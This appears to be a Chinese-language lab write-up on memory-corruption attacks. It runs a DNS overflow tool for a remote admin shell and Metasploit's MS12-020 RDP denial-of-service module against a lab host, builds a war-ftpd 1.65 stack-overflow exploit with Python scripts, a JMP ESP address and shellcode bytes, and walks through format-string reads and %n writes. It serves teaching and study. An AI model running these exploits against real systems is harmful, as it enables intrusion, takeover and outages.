缓冲区溢出漏洞实战记录

脚本

背景

缓冲区溢出

缓冲区溢出是指当计算机向缓冲区内填充数据时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下了隐患。

操作系统所使用的缓冲区,又被称为”堆栈”。在各个操作进程之间,指令会被临时储存在“堆栈”中,“堆栈”也会出现缓冲区溢出。

缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害是:一种情况是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。

MS12-020漏洞

微软于2012年3月12日发布安全公告,公布了MS12-020漏洞,漏洞级别为严重,这个级别是微软所有漏洞级别的最高级别,意即会对服务和企业运营造成巨大损失。

这个漏洞的定义是指操作系统的远程桌面协议存在重大漏洞,入侵者(黑客)可以通过向远程桌面默认端口(3389)发一系列特定RDP包,从而获取超级管理员权限,进而入侵系统。

若该主机同时提供80端口服务,那么疑似有相对更大的隐患。

根据微软的安全公告,Windows全系列操作系统(WinXP/Vista/Win7/Win2000/ Win2003/Win2008)均存在受控威胁。但因为远程桌面管理的特殊性,几乎所发现的主机都是服务器,PC机暂未发生。

测试程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*

*buffer.c

*/

#include <stdio.h>

int main()

{

char name[8];

printf(“Please input your name: ”);

gets(name);

printf(“your name is : %s!”, name);

return 0;

}

利用溢出工具溢出目标系统,获取目标系统shell

DNS远程溢出的漏洞直接对主机进行溢出攻击,成功后一般会直接获得系统权限。如:Windows DNS API(CVE-2017-11779)

扫描靶机信息

1
dns -s ip

image-20240208123245234

找到目标端口1027。选中2003chs进行攻击。

1
dns -t 2003chs 10.1.1.2 1027

image-20240208123716348

结果显示1100tcp端口被攻击。现在用telnet远程登陆上去。

1
telnet 10.1.1.2 1100

image-20240208123918829

system32目录下,此时已是管理员权限。

利用MS12-020漏洞溢出目标系统,使目标系统瘫痪

运行Metasploit,搜集目标主机的目标端口(3389)和其他信息。

1
db_nmap -sT -p3389  10.1.1.2

image-20240208124537342

搜索模块

1
search ms12_020

image-20240208124748108

显示了位置。接下来进行利用。

1
2
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
show options

image-20240208125200990

根据提示设置参数。第二个参数已经被设置。设置好后,使用exploit命令利用。

image-20240208125414865

已瘫痪。无法ping通。

缓冲区溢出调试

背景

war-ftpd 1.65存在缓冲区溢出漏洞,当登录时用户名过长时就会发生缓冲区溢出,程序进而崩溃。本实验正是利用这一点使用调试工具cdb找出溢出时相应寄存器记录的地址,通过利用shellcode构造用户名字符串,使得war-ftpd程序接收此用户名时发生溢出进而执行shellcode,达到攻击目的。

触发漏洞

打开war-ftpd.exe,使用ollydbg attach到这个进程上。没有mona插件,后面都用Immunity Debugger继续调试。

image-20240208140653599

利用Immunity Debugger的mona插件来生成1000个字节。

1
!mona pattern_create 1000

命令执行后会在这个目下C:\Program Files\Immunity Inc\Immunity Debugger 生成pattern.txt,里面存放了1000 bytes的junkcode.

image-20240208141409611

点击左上角的闪电,打开21端口。

利用python编写一个Socket程序将这些字节赋值给username段,发送给var-ftpd使之溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#coding:utf-8
import socket

#生成的1000个字节
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'

#TCP流套接字
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#建立连接
s.connect(('127.0.0.1',21))
data = s.recv(1024)
print 'connect...'

#在用户名处填充pattern
s.send('USER '+pattern+'\r\n')
data = s.recv(1024)
s.send('PASS '+'123456'+'\r\n')
s.close()
print 'finish!'

发送后,Immunity Debugger调试器跟踪如下:

image-20240208144454773

image-20240208143841088

ESP=71413471,EIP=32714131

现在计算这两个地址在1000字节字符串中的偏移地址,依旧使用mona插件。

image-20240208144146800

image-20240208144156538

可知EIP偏移为485,ESP偏移为493。这意味着485个字节后的EIP寄存器开始被缓冲区覆盖那么EIP中486-489字节是我们想要的目标。

CPU通过EIP寄存器中的值知道下一个要运行的指令,在内存地址中运行这些当前的指令,在EIP的内存位置中使用JMP ESP指令使CPU来执行指令和“跳”到ESP寄存器中执行驻留在该地址的内存中的指令。我们的目的就是在EIP中使用JMP ESP指令,这样我们就能控制执行命令并把我们的代码转变到ESP寄存器中。

两个寄存器之间有8个字节,于是我们用4个字节来填充我们的缓冲区,缩小间距和连接到ESP寄存器。我们使用保持1000字节边界的框架漏洞来调整缓冲区:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding:utf-8

import socket

#Fuzz string
pattern = "\x41"*485 + "\x42\x42\x42\x42" + "\x43"*4 + "\x44"*507

#TCP流套接字
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#建立连接
s.connect(('127.0.0.1',21))
data = s.recv(1024)
print 'connect...'

#在用户名处填充pattern
s.send('USER '+pattern+'\r\n')
data = s.recv(1024)
s.send('PASS '+'123456'+'\r\n')
s.close()
print 'finish!'

在Immunity debugger中重启FTP服务器,按播放键取消暂停的应用程序。

将更改后的程序运行,调试器跟踪如下:

image-20240208144320345

如预期一样,EIP存储了4个42,EIP到ESP间填充了4个43。得到ESP开始和结束的内存地址:start:00AEFD48 end:00AEFF3F。00AEFF3F-00AEFD48转换十进制后计算得知为487,意味着可以用487个字节来存放shellcode。

构造ShellCode

现在,我们有了目标内存地址和指令,我们需要一种方法获得从EIP寄存器到ESP寄存器的指令,为了做到这一点,我们可以在windows操作系统的DLL中使用现有的JMP ESP指令。

单击Immunity debugger器的工具栏上的“e”,在存在的windows dll中查找JMP ESP指令,之后双击一个DLL,右键单击“搜索”,选择“command”,之后键入“JMP ESP”。在kernel32.dll系统文件中发现了我们要找的指令,然后记下JMP ESP的内存地址。

image-20240208144428779

EIP中包含JMP ESP的目标地址(7C86467B)和我们的CCs在ESP(00AEFD48)开始。现在,我们控制执行命令,剩下的就是用shellcode替换掉占位的CCs。

构造漏洞利用的登录用户名字符串,如下所示

image-20240208144642011

使用metasploit的msfpayload来创建payload。有一点要注意:因为我们传递的都是字符串,我们必须要遵守字符限制的FTP 协议。这就意味着没有空,返回,换行,或是@符号,他们用16进制的表示为\x00, \x0d, \x0a, 0×40。”\x40\xff\x3d\x20”可以阻止shellcode执行。

image-20240208151654511

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
shellcode="\xbf\x4d\xd5\x02\xce\xdb\xc0\xd9\x74\x24\xf4\x58\x29\xc9"

shellcode+="\xb1\x33\x31\x78\x15\x03\x78\x15\x83\xc0\x04\xe2\xb8\x29"

shellcode+="\xea\x47\x42\xd2\xeb\x37\xcb\x37\xda\x65\xaf\x3c\x4f\xba"

shellcode+="\xa4\x11\x7c\x31\xe8\x81\xf7\x37\x24\xa5\xb0\xf2\x12\x88"

shellcode+="\x41\x33\x9a\x46\x81\x55\x66\x95\xd6\xb5\x57\x56\x2b\xb7"

shellcode+="\x90\x8b\xc4\xe5\x49\xc7\x77\x1a\xfe\x95\x4b\x1b\xd0\x91"

shellcode+="\xf4\x63\x55\x65\x80\xd9\x54\xb6\x39\x55\x1e\x2e\x31\x31"

shellcode+="\xbe\x4f\x96\x21\x82\x06\x93\x92\x71\x99\x75\xeb\x7a\xab"

shellcode+="\xb9\xa0\x45\x03\x34\xb8\x82\xa4\xa7\xcf\xf8\xd6\x5a\xc8"

shellcode+="\x3b\xa4\x80\x5d\xd9\x0e\x42\xc5\x39\xae\x87\x90\xca\xbc"

shellcode+="\x6c\xd6\x94\xa0\x73\x3b\xaf\xdd\xf8\xba\x7f\x54\xba\x98"

shellcode+="\x5b\x3c\x18\x80\xfa\x98\xcf\xbd\x1c\x44\xaf\x1b\x57\x67" +

shellcode+="\xa4\x1a\x3a\xe2\x3b\xae\x41\x4b\x3b\xb0\x49\xfc\x54\x81" +

shellcode+="\xc2\x93\x23\x1e\x01\xd0\xdc\x54\x0b\x71\x75\x31\xde\xc3" +

shellcode+="\x18\xc2\x35\x07\x25\x41\xbf\xf8\xd2\x59\xca\xfd\x9f\xdd" +

shellcode+="\x27\x8c\xb0\x8b\x47\x23\xb0\x99\x24\xae\x2a\x02\x85\x5b" +

shellcode+="\x93\x21\xb8\xf7\xb0\xa5"

在shellcode前添加了10个NOP,使之更好执行流程到它的最终目标。

pattern = “\x41”485 + “\x7B\x46\x86\x7C” + “\x42”4 + “\x90”10”+ shellcode \xCC”*267 (497-230(shellcode长度))

将构造好的EXP发送给开放21端口且运行war-ftpd的XP本机:

格式化字符串

背景

格式化字符串漏洞是一个很古老的漏洞了,现在几乎已经见不到这类漏洞的身影,但是作为漏洞分析的初学者来说,还是很有必要研究一下的。

格式化字符串漏洞是由像printf(user_input)这样的代码引起的,其中user_input是用户输入的数据,具有Set-UID root权限的这类程序在运行的时候,printf语句将会变得非常危险,因为它可能会导致下面的结果:

1.使得程序崩溃

2.任意一块内存读取数据

3.修改任意一块内存里的数据

最后一种结果是非常危险的,因为它允许用户修改set-UID root程序内部变量的值,从而改变这些程序的行为。

1
printf ("The magic number is: %d", 1911);

试观察运行以上语句,会发现字符串”The magic number is: %d”中的格式符%d被参数(1911)替换,因此输出变成了“The magic number is: 1911”。

格式化函数的行为由格式化字符串控制,printf函数从栈上取得参数。

image-20240208161506399

如果参数数量不匹配会发生什么?

如果只有一个不匹配会发生什么?

printf (“a has value %d, b has value %d, c is at address: %08x\n”,a, b);

1,在上面的例子中格式字符串需要3个参数,但程序只提供了2个。

2,该程序能够通过编译么?

⑴printf()是一个参数长度可变函数。因此,仅仅看参数数量是看不出问题的。

⑵为了查出不匹配,编译器需要了解printf()的运行机制,然而编译器通常不做这类分析。

⑶有些时候,格式字符串并不是一个常量字符串,它在程序运行期间生成(比如用户输入),因此,编译器无法发现不匹配。

3,那么printf()函数自身能检测到不匹配么?

⑴printf()从栈上取得参数,如果格式字符串需要3个参数,它会从栈上取3个,除非栈被标记了边界,printf()并不知道自己是否会用完提供的所有参数。

⑵既然没有那样的边界标记。printf()会持续从栈上抓取数据,在一个参数数量不匹配的例子中,它会抓取到一些不属于该函数调用到的数据。

4,如果有人特意准备数据让printf抓取会发生什么呢?

访问任意位置内存

1,我们需要得到一段数据的内存地址,但我们无法修改代码,供我们使用的只有格式字符串。

2,如果我们调用 printf(%s) 时没有指明内存地址, 那么目标地址就可以通过printf函数,在栈上的任意位置获取。printf函数维护一个初始栈指针,所以能够得到所有参数在栈中的位置

3,观察: 格式字符串位于栈上. 如果我们可以把目标地址编码进格式字符串,那样目标地址也会存在于栈上,在接下来的例子里,格式字符串将保存在栈上的缓冲区中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(int argc, char *argv[])

{

char user_input[100];

... ... /* other variable definitions and statements */

scanf("%s", user_input); /* getting a string from user */

printf(user_input); /* Vulnerable place */

return 0;

}

4,如果我们让printf函数得到格式字符串中的目标内存地址 (该地址也存在于栈上), 我们就可以访问该地址.

printf (“\x10\x01\x48\x08 %x %x %x %x %s”);

5,\x10\x01\x48\x08 是目标地址的四个字节, 在C语言中, \x10 告诉编译器将一个16进制数0×10放于当前位置(占1字节)。如果去掉前缀\x10就相当于两个ascii字符1和0了,这就不是我们所期望的结果了。

6,%x 导致栈指针向格式字符串的方向移动

7,下图解释了攻击方式,如果用户输入中包含了以下格式字符串

image-20240208161732206

如图所示,我们使用四个%x来移动printf函数的栈指针到我们存储格式字符串的位置,一旦到了目标位置,我们使用%s来打印,它会打印位于地址0×10014808的内容,因为是将其作为字符串来处理,所以会一直打印到结束符为止。

user_input数组到传给printf函数参数的地址之间的栈空间不是为了printf函数准备的。但是,因为程序本身存在格式字符串漏洞,所以printf会把这段内存当作传入的参数来匹配%x。

最大的挑战就是想方设法找出printf函数栈指针(函数取参地址)到user_input数组的这一段距离是多少,这段距离决定了你需要在%s之前输入多少个%x。

在内存中写一个数字

%n: 该符号前输入的字符数量会被存储到对应的参数中去

1
2
3
int i;

printf ("12345%n", &i);

1,数字5(%n前的字符数量)将会被写入i 中

2,运用同样的方法在访问任意地址内存的时候,我们可以将一个数字写入指定的内存中。只要将%s替换成%n就能够覆盖0×10014808的内容。

3,利用这个方法,攻击者可以做以下事情:

重写程序标识控制访问权限

重写栈或者函数等等的返回地址

4,然而,写入的值是由%n之前的字符数量决定的。真的有办法能够写入任意数值么?

用最古老的计数方式, 为了写1000,就填充1000个字符吧。

为了防止过长的格式字符串,我们可以使用一个宽度指定的格式指示器。(比如(%0数字x)就会左填充预期数量的0符号)

利用格式化字符串漏洞

用户需要输入一段数据,数据保存在user_input数组中,程序会使用printf函数打印数据内容,并且该程序以root权限运行。这个程序存在一个格式化漏洞。

程序内存中存在两个秘密值,我们想要知道这两个值,但发现无法通过读二进制代码的方式来获取它们(实验中为了简单起见,硬编码这些秘密值为0x44和0x55)。尽管我们不知道它们的值,但要得到它们的内存地址倒不是特别困难,因为对大多数系统而言,每次运行程序,这些内存地址基本上是不变的。实验假设我们已经知道了这些内存地址,为了达到这个目的,程序特意为我们打出了这些地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/* vul_prog.c */

#include <stdlib.h>

#include <stdio.h>



#define SECRET1 0x44

#define SECRET2 0x55



int main(int argc, char *argv[])

{

char user_input[100];

int *secret;

long int_input;

int a, b, c, d; /* other variables, not used here.*/



/* The secret value is stored on the heap */

secret = (int *) malloc(2*sizeof(int));



/* getting the secret */

secret[0] = SECRET1; secret[1] = SECRET2;

printf("The variable secret's address is 0x%8x (on stack)\n", &secret);

printf("The variable secret's value is 0x%8x (on heap)\n", secret);

printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);

printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);



printf("Please enter a decimal integer\n");

scanf("%d", &int_input); /* getting an input from user */

printf("Please enter a string\n");

scanf("%s", user_input); /* getting a string from user */



/* Vulnerable place */

printf(user_input);

printf("\n");



/* Verify whether your attack is successful */

printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);

printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);

return 0;

}

实验环境是64位系统,所以需要使用%016llx才能读取整个字。

找出secret[0]的值

1.首先定位int_input的位置,这样就确认了%s在格式字符串中的位置。

image-20240208163758538

2.输入secret[0]的地址,记得做进制转换(22003732),同时在格式字符串中加入%s。

image-20240208163850544

获取到D–0x44。

3.修改为任意值

image-20240208164657715

其中,%.880u限定了字符零填充到880个大小,%n往目标地址写入在此之前的字符数量